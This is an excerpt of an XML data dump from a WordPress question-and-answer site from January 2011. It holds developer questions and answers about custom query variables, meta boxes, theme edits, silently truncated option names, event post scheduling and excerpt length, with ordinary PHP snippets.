  <row Id="6287" PostTypeId="2" ParentId="6286" CreationDate="2011-01-03T20:43:33.273" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;NOTE: XML Importer will not work for this task as the amount of data is too large.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This tool is by far the simplest solution if there's any way you can get it to work. Is it absolutely &quot;too large&quot; for the importer, or just limited by file upload / PHP execution time limits? If I were doing this, I'd crank up the limits on my development environment to process a really big XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that won't work, I'd probably guess that you have some mucking around in SQL to do. :-P&lt;/p&gt;&#xA;" OwnerUserId="2269" LastActivityDate="2011-01-03T20:43:33.273" />
  <row Id="6288" PostTypeId="2" ParentId="6284" CreationDate="2011-01-03T21:04:45.053" Score="3" ViewCount="" Body="&lt;p&gt;Well, &lt;code&gt;numberposts&lt;/code&gt; is not actually a query variable. It's just turned into &lt;code&gt;posts_per_page&lt;/code&gt; in &lt;code&gt;get_posts()&lt;/code&gt; before the query is run. &lt;code&gt;posts_per_page&lt;/code&gt; is a private query var, which means you can't run it in the query string. A possible solution would be to register a custom query variable (let's say &lt;code&gt;'latest_mealplan'&lt;/code&gt; and add that variable to the rewrite rule (e.g. &lt;code&gt;index.php?post_type=mealplan&amp;amp;orderby=date&amp;amp;order=DESC&amp;amp;latest_mealplan=1&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, hook into &lt;code&gt;'parse_request'&lt;/code&gt;, which passes the &lt;code&gt;$wp&lt;/code&gt; object to the callback. From there, it's just a matter of setting the parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !empty( $wp-&amp;gt;query_vars['latest_mealplan'] ) ){&#xA;  $wp-&amp;gt;query_vars['posts_per_page'] = 1;&#xA;  add_filter( 'template_include', create_function( '$a', 'return locate_template(array(&quot;single-mealplan.php&quot;));' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-01-03T23:42:58.300" LastActivityDate="2011-01-03T23:42:58.300" CommentCount="4" />
  <row Id="6289" PostTypeId="1" AcceptedAnswerId="6291" CreationDate="2011-01-03T22:16:45.393" Score="0" ViewCount="430" Body="&lt;p&gt;I want the user to fill in a form (when they create a new blog post). The results of the form should be embedded within the new blog post. So I am trying to think of the best way of coding this. Meta boxes might be the best way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit, the original question changed a little. The old one was:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add a Dashboard Widget into a custom Plugin Options Page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the example here &lt;a href=&quot;http://codex.wordpress.org/Dashboard_Widgets_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Dashboard_Widgets_API&lt;/a&gt; to create a custom Dashboard Widget, but cannot see how to add it into my custom plugin options page (which is found under the 'Settings' sidebar in the Control Panel).&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="739" LastEditorDisplayName="" LastEditDate="2011-01-05T10:37:05.483" LastActivityDate="2011-01-05T10:37:05.483" Title="How to add meta boxes to the 'Add new post' screen?" Tags="&lt;plugin-development&gt;&lt;plugins&gt;&lt;metabox&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="6290" PostTypeId="2" ParentId="6277" CreationDate="2011-01-03T22:49:53.007" Score="1" ViewCount="" Body="&lt;p&gt;In functions.php find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if ( ! function_exists( 'twentyten_posted_on' ) ) :&#xA;/**&#xA; * Prints HTML with meta information for the current post—date/time and author.&#xA; *&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;function twentyten_posted_on() {&#xA;    printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Posted on&amp;lt;/span&amp;gt; %2$s &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;by&amp;lt;/span&amp;gt; %3$s', 'twentyten' ),&#xA;        'meta-prep meta-prep-author',&#xA;        sprintf( '&amp;lt;a href=&quot;%1$s&quot; title=&quot;%2$s&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;span class=&quot;entry-date&quot;&amp;gt;%3$s&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;',&#xA;            get_permalink(),&#xA;            esc_attr( get_the_time() ),&#xA;            get_the_date()&#xA;            ),&#xA;        sprintf( '&amp;lt;span class=&quot;author vcard&quot;&amp;gt;&amp;lt;a class=&quot;url fn n&quot; href=&quot;%1$s&quot; title=&quot;%2$s&quot;&amp;gt;%3$s&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;',&#xA;            get_author_posts_url( get_the_author_meta( 'ID' ) ),&#xA;            sprintf( esc_attr__( 'View all posts by %s', 'twentyten' ), get_the_author() ),&#xA;            get_the_author()&#xA;        )&#xA;    );&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! function_exists( 'twentyten_posted_on' ) ) :&#xA;/**&#xA; * Prints HTML with meta information for the current post—date/time and author.&#xA; *&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;function twentyten_posted_on() {&#xA;    printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Posted on&amp;lt;/span&amp;gt; %2$s &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;by&amp;lt;/span&amp;gt; %3$s', 'twentyten' ),&#xA;        'meta-prep meta-prep-author',&#xA;        sprintf( '&amp;lt;a href=&quot;%1$s&quot; title=&quot;%2$s&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;span class=&quot;entry-date&quot;&amp;gt;%3$s&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;',&#xA;            get_permalink(),&#xA;            esc_attr( get_the_time() ),&#xA;            get_the_date()&#xA;        ),&#xA;&#xA;    );&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words you're just removing the bit of code that reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sprintf( '&amp;lt;span class=&quot;author vcard&quot;&amp;gt;&amp;lt;a class=&quot;url fn n&quot; href=&quot;%1$s&quot; title=&quot;%2$s&quot;&amp;gt;%3$s&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;',&#xA;                get_author_posts_url( get_the_author_meta( 'ID' ) ),&#xA;                sprintf( esc_attr__( 'View all posts by %s', 'twentyten' ), get_the_author() ),&#xA;                get_the_author()&#xA;            )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2011-01-03T22:49:53.007" CommentCount="3" />
  <row Id="6291" PostTypeId="2" ParentId="6289" CreationDate="2011-01-03T23:03:21.363" Score="2" ViewCount="" Body="&lt;p&gt;Dashboard widgets only go on the dashboard. You can't put 'em on any other pages, as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a primer on plugin options, see the &lt;a href=&quot;http://codex.wordpress.org/Creating_Options_Pages&quot; rel=&quot;nofollow&quot;&gt;codex article on creating plugin options pages&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason you need to add a widget-style meta box in your settings page? Are you after the drag-and-drop functionality, or the expand-collapse functionality? If so, you might modify your question to ask for those things specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;What you're looking for (based on your comments) are called meta boxes, not widgets (it takes a while to learn all the WordPress-specific terminology). There are some easy-to-use WordPress functions for adding meta boxes to the post creation/editing page--you don't need to create a separate admin page for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To actually save the information entered into these boxes, you'll want to hook into the save_post action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all explained (including a copy/paste example you can play with) in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;codex article on the add_meta_box function&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2011-01-04T18:21:38.290" LastActivityDate="2011-01-04T18:21:38.290" CommentCount="5" />
  <row Id="6292" PostTypeId="1" AcceptedAnswerId="6303" CreationDate="2011-01-03T23:33:06.870" Score="2" ViewCount="120" Body="&lt;p&gt;This was really driving me crazy. I was debugging some code with code-generated transient names and they were failing like crazy for no apparent reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After much much pain and experimentation I figured out that it fails when over certain key length:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$key = '1234567890';&#xA;var_dump( get_transient($key) ); // works just fine&#xA;var_dump( set_transient( $key, $key, 10) ); // false when not expired&#xA;&#xA;&#xA;$key = '1234567890123456789012345678901234567890123456';&#xA;var_dump( get_transient($key) ); // always returns false&#xA;var_dump( set_transient( $key, $key, 10) ); // always true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently &lt;code&gt;option_name&lt;/code&gt; field in database is &lt;code&gt;varchar(64)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I absolutely can't figure out why this doesn't produce any database errors and all returns and hooks on setting transient work just fine... Except that in reality timeout option doesn't get written and it all fails miserably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this query in &lt;code&gt;add_option()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = $wpdb-&amp;gt;query( $wpdb-&amp;gt;prepare( &quot;INSERT INTO `$wpdb-&amp;gt;options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)&quot;, $option, $value, $autoload ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help figure out what it should do when option's name passed is too long and why it doesn't produce errors or anything?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-04T08:04:52.163" Title="Long option names fail silently?" Tags="&lt;database&gt;&lt;options&gt;&lt;transient&gt;" AnswerCount="4" />
  <row Id="6293" PostTypeId="1" CreationDate="2011-01-03T23:37:23.280" Score="1" ViewCount="198" Body="&lt;p&gt;OK, I'm taking on the dreaded task of developing an event calendar for my site and have gotten a bit stuck.  I'm open to any and all ideas but here's what I'm doing and what I'd like to do.  I'm assuming that my main issue is the order of hooks and filters because i feel like I have a pretty good grasp on what I want to do.  Also, I'd stick to wordpress hooks and filters rather than direct mysql database manipulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short is...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save the first custom field and then change the current post_date to that custom field and change post_status to future, in that order, whenever a post is saved as draft or submitted for review.&lt;/li&gt;&#xA;&lt;li&gt;Take the second custom field and insert a new post with that custom field as the date of the new post and change the post_status of the new post to 'future' and copy the title, content to that new post from the original post. (goal is to create an identical new post for each date submitted on the original post, make the new posts childs of the original post, and schedule them all as future posts)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now on to the long version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, i have a custom post_type called 'events'.  Registered for that I have some custom fields which for simplicity we'll call _start_date_one, _end_date_one, _start_date_two, _end_date_two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is allow an 'events' post to be created and allow input of these fields, a title, and content.  So far so good.  Then when someone clicks &quot;Save Draft&quot; or &quot;Submit for Review&quot;  I'd like to change the current post_date to _start_date_one and change the post_status to 'future'.  Right now I can get this to occur only after the at least the second time I save most likely because I'm using&#xA;add_action('save_post') to save custom fields&#xA;and then&#xA;add_filter('wp_insert_post_data') to update current post data&#xA;I realize through some trac searching that insert_post_data happens prior to saving to allow me to update the $data and $postarr with new info and then saves the custom fields which is why the above happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Number 2 listed above I've tried quite a few ways to get wp_insert_post to work but have only gotten to inserting a pending post with none of the dates correct and everything else copied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2011-01-04T09:37:52.553" Title="Event Calendar using insert_post_data after save_post and insert_post after post_transition draft_to_schedule" Tags="&lt;hooks&gt;&lt;filters&gt;&lt;functions&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="6294" PostTypeId="2" ParentId="6292" CreationDate="2011-01-04T01:12:17.090" Score="6" ViewCount="" Body="&lt;p&gt;I ran into this exact issue and proposed extending the column length:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/13310&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/13310&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-04T01:12:17.090" CommentCount="1" />
  <row Id="6295" PostTypeId="2" ParentId="6281" CreationDate="2011-01-04T01:15:21.813" Score="1" ViewCount="" Body="&lt;p&gt;I use a combination of Subscribe to Comments and Subscribe2, but it's not pretty.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-04T01:15:21.813" CommentCount="2" />
  <row Id="6296" PostTypeId="2" ParentId="6292" CreationDate="2011-01-04T01:20:07.223" Score="2" ViewCount="" Body="&lt;p&gt;Very weird behavior. I'm guessing that the option is being added, but its name is truncated to 64 characters? That way &lt;code&gt;$wpdb-&amp;gt;rows_affected&lt;/code&gt; returns 1, as it should for this check to pass at the end of &lt;strong&gt;update_option&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;update($wpdb-&amp;gt;options, array('option_value' =&amp;gt; $newvalue), array('option_name' =&amp;gt; $option_name) );&#xA;&#xA;if ( $wpdb-&amp;gt;rows_affected == 1 ) {&#xA;   do_action( &quot;update_option_{$option_name}&quot;, $oldvalue, $_newvalue );&#xA;   do_action( 'updated_option', $option_name, $oldvalue, $_newvalue );&#xA;   return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the option isn't accessible through &lt;strong&gt;get_option&lt;/strong&gt; because the option_name field is not equal to $key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extending the column length is one solution, but it seems that there should be an additional check at the end of update_option that the row affected matches the key provided. And possibly the same with other update functions like &lt;strong&gt;update_post_meta&lt;/strong&gt;, although the 255 char limit there is much more reasonable.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-04T01:20:07.223" CommentCount="1" />
  <row Id="6297" PostTypeId="1" AcceptedAnswerId="6299" CreationDate="2011-01-04T01:52:27.380" Score="0" ViewCount="92" Body="&lt;p&gt;I've created my own admin page in wp-admin folder using add_theme_page() function. How to pass variables from there to my blog? I mean what's the easiest way without arrays etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using &quot;globals&quot; but failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-01-04T06:02:04.297" Title="Accessing variable from admin panel?" Tags="&lt;admin&gt;&lt;options&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="6298" PostTypeId="2" ParentId="6259" CreationDate="2011-01-04T02:14:37.757" Score="2" ViewCount="" Body="&lt;p&gt;Have you added any images to the page in which you are using the gallery? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The [gallery] shortcode won't work without there actually being attachments on said post.&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-01-04T02:14:37.757" />
  <row Id="6299" PostTypeId="2" ParentId="6297" CreationDate="2011-01-04T05:42:32.213" Score="2" ViewCount="" Body="&lt;p&gt;Read the codex page on &lt;a href=&quot;http://codex.wordpress.org/Creating_Options_Pages&quot; rel=&quot;nofollow&quot;&gt;creating options pages&lt;/a&gt;, and let us know if you run into any specific issues. It has a complete copy/paste example you can monkey with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to avoid learning WordPress' options mechanisms in favor of a more generic custom php solution, I understand where you're coming from, but recommend learning to do it the right way. It'll be a couple hours investment, but it'll pay off over time. For reals.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-04T05:42:32.213" />
  <row Id="6300" PostTypeId="2" ParentId="6297" CreationDate="2011-01-04T06:02:04.297" Score="1" ViewCount="" Body="&lt;p&gt;I think this should help you get started&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cssreflex.com/2010/02/8-fantastic-wordpress-theme-options-page-tutorials.html&quot; rel=&quot;nofollow&quot;&gt;10+ Rare WordPress Theme Options Page Tutorials To Get You Started&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2011-01-04T06:02:04.297" />
  <row Id="6301" PostTypeId="2" ParentId="6292" CreationDate="2011-01-04T06:36:18.557" Score="0" ViewCount="" Body="&lt;p&gt;You can update the table and increase the row size?&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2011-01-04T06:36:18.557" CommentCount="1" />
  <row Id="6302" PostTypeId="1" AcceptedAnswerId="6321" CreationDate="2011-01-04T07:31:25.450" Score="1" ViewCount="124" Body="&lt;p&gt;I have some texts that need to be replaced in every posts in my blog. Is it possible to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps&#xA;(I need to tag this question as &lt;code&gt;search-and-replace&lt;/code&gt; but not enough reputation to do that. Please add the tag if you can. Thank you!)&lt;/p&gt;&#xA;" OwnerUserId="992" LastActivityDate="2011-01-04T15:58:12.470" Title="How to search and replace text in all posts of a wordpress.com blog (NOT wordpress.org one)?" Tags="&lt;wordpress.com&gt;&lt;search&gt;&lt;text&gt;" AnswerCount="2" />
  <row Id="6303" PostTypeId="2" ParentId="6292" CreationDate="2011-01-04T08:04:52.163" Score="8" ViewCount="" Body="&lt;p&gt;You don't get an error because &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15058&quot; rel=&quot;nofollow&quot;&gt;WordPress does not check for the length&lt;/a&gt;, and MySQL silently truncates it (giving a warning, not an error), unless you enable &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html#sqlmode_strict_all_tables&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;STRICT_ALL_TABLES&lt;/code&gt; option&lt;/a&gt; (which will change the warning into an error).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even more confusing, &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13310#comment:4&quot; rel=&quot;nofollow&quot;&gt;when you enable multisite&lt;/a&gt; the options are saved in the &lt;code&gt;sitemeta&lt;/code&gt; table with a maximum key length of 255, but without multisite they go to &lt;code&gt;options&lt;/code&gt; where the maximum key length is 64. Have fun debugging that in your plugin!&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-04T08:04:52.163" CommentCount="2" />
  <row Id="6304" PostTypeId="1" AcceptedAnswerId="6322" CreationDate="2011-01-04T08:15:45.693" Score="0" ViewCount="160" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;i have a custom post on my website, i&#xA;  just want that the all post from&#xA;  custom post types should be published&#xA;  on a separate &lt;strong&gt;page&lt;/strong&gt; which will be&#xA;  &quot;Blog&quot;, is this possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the code worked, i edited the code&#xA;this is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Blog template&#xA;*/&#xA;get_header(); &#xA;&#xA;$blog_query = new WP_Query;&#xA;$blog_query-&amp;gt;query( 'post_type=uni' ); // &amp;lt;-- Your args on this line&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot; class=&quot;col-full&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;main&quot; class=&quot;col-left&quot;&amp;gt;&#xA;&amp;lt;?php if( $blog_query-&amp;gt;have_posts() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php while( $blog_query-&amp;gt;have_posts() ) : $blog_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;featured post&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;title fl&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/h2&amp;gt;&#xA;    &amp;lt;/br&amp;gt;&#xA;    &amp;lt;p class=&quot;fr&quot;&amp;gt;&#xA;&#xA;                   &amp;lt;span class=&quot;small&quot;&amp;gt;&amp;lt;span class=&quot;post-category&quot;&amp;gt;&amp;lt;?php the_category(' ') ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;               &amp;lt;/p&amp;gt;&#xA;               &amp;lt;p class=&quot;post-meta&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;span class=&quot;small&quot;&amp;gt;&amp;lt;?php _e('Featured Venue &amp;amp;#124;', 'woothemes'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;                        &amp;lt;span class=&quot;comments&quot;&amp;gt;&amp;lt;?php comments_popup_link(__('0 Reviews', 'woothemes'), __('1 Review', 'woothemes'), __('% Reviews', 'woothemes')); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;get_footer();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when i click on the title of the blog page,&#xA;it takes me to a page where content of the posts come without div tag, and on the menu its on the home page&#xA;check this image&#xA;&lt;img src=&quot;http://i.stack.imgur.com/E9sGD.jpg&quot; alt=&quot;alt text&quot;&gt;&#xA;in this image everything looks fine, this is what i wanted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this when i click on the post i.e. title it comes this way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check this image&#xA;&lt;img src=&quot;http://i.stack.imgur.com/t4oCb.jpg&quot; alt=&quot;alt text&quot;&gt;&#xA;the menu is pointing on home and there is no &lt;code&gt;div&lt;/code&gt; tag in the post&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-01-05T05:32:34.113" LastActivityDate="2011-01-05T05:32:34.113" Title="custom posts on different page" Tags="&lt;custom-post-types&gt;&lt;page&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6306" PostTypeId="2" ParentId="6302" CreationDate="2011-01-04T09:27:29.110" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Nam Gi VU:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that's not possible directly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do would be to export all posts to a text file, use a search and replace in a text editor and then import them back in deleting all the posts before you reimport them.  Be careful to change a copy of the export in case your search and replace corrupts the file and makes it fail to import.  &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-04T09:27:29.110" />
  <row Id="6307" PostTypeId="2" ParentId="6293" CreationDate="2011-01-04T09:37:52.553" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@user2271:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently had to resolve a situation for an Event custom post type where I could not get WordPress to let me save a future date. I wasn't trying to be as complex as yours but the follow code resolved my issue, maybe you can use it to resolve yours:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'yoursite_admin_init');&#xA;static function yoursite_admin_init() {&#xA;  global $pagenow;&#xA;  if ($pagenow=='post.php' &amp;amp;&amp;amp; isset($_POST['post_date'])) { &#xA;    $_POST['event_date'] = date('Y-m-d H:i:s',strtotime($_POST['post_date']));&#xA;  }&#xA;}&#xA;add_filter('wp_insert_post_data', 'yoursite_wp_insert_post_data',10,2);&#xA;static function yoursite_wp_insert_post_data($data,$postarr) {&#xA;  global $pagenow;&#xA;  if ($data['post_type']=='event') {&#xA;    // Saving an event, 'event_date' grabbed in admin_init&#xA;    if ($pagenow=='post.php' &amp;amp;&amp;amp; isset($postarr['event_date'])) {&#xA;      $data['post_date'] = $data['post_date_gmt'] = $postarr['event_date'];&#xA;    }&#xA;  }&#xA;  return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically WordPress is applying blog post logic to all posts and events should follow different logic. The code I've posted grabs the incoming date in the &lt;code&gt;'admin_init'&lt;/code&gt; hook and then reuses it in the &lt;code&gt;'wp_insert_post_data'&lt;/code&gt; hook after WordPress has &lt;em&gt;&quot;fixed up&quot;&lt;/em&gt; the dates per blog post logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understanding this issue I think will help you determine how to fix as per your more complex workflow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this heps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-04T09:37:52.553" CommentCount="3" />
  <row Id="6308" PostTypeId="2" ParentId="6267" CreationDate="2011-01-04T10:29:36.337" Score="0" ViewCount="" Body="&lt;p&gt;There is a plugin called custom sidebars that allows to determine what sidebar will be shown for each post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-sidebars/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-sidebars/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed you can create the sidebars with the ads you need and assign them to the posts.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-04T10:29:36.337" CommentCount="1" />
  <row Id="6309" PostTypeId="1" CreationDate="2011-01-04T11:57:40.720" Score="0" ViewCount="420" Body="&lt;p&gt;I would like to know if it is possible to install WP on Parallels Plesk 9.5.3, and if so, I do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Erez A.&lt;/p&gt;&#xA;" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-01-23T14:43:06.833" LastActivityDate="2011-01-23T14:43:06.833" Title="Installing wordpress on Parallels plesk 9.5.3" Tags="&lt;installation&gt;" AnswerCount="1" />
  <row Id="6310" PostTypeId="1" AcceptedAnswerId="6316" CreationDate="2011-01-04T11:58:15.473" Score="0" ViewCount="426" Body="&lt;p&gt;I have a website in which I need to control the displayed excerpt length.&#xA;Some of the posts might have manual excerpt so I can't use the excedrpt_length filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can of course4 use somekind of substr but was looking for a more elegant solution (if such exists)&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2011-01-04T15:06:29.453" Title="Howto control manual excerpt length?" Tags="&lt;excerpt&gt;" AnswerCount="2" />
  <row Id="6311" PostTypeId="1" AcceptedAnswerId="6312" CreationDate="2011-01-04T13:35:47.303" Score="2" ViewCount="181" Body="&lt;p&gt;The title says it all. I'm using WP 3.0.4&lt;/p&gt;&#xA;" OwnerUserId="2072" LastActivityDate="2011-01-04T14:15:06.093" Title="How to check if an admin (sub)menu already exists?" Tags="&lt;admin-menu&gt;" AnswerCount="1" />
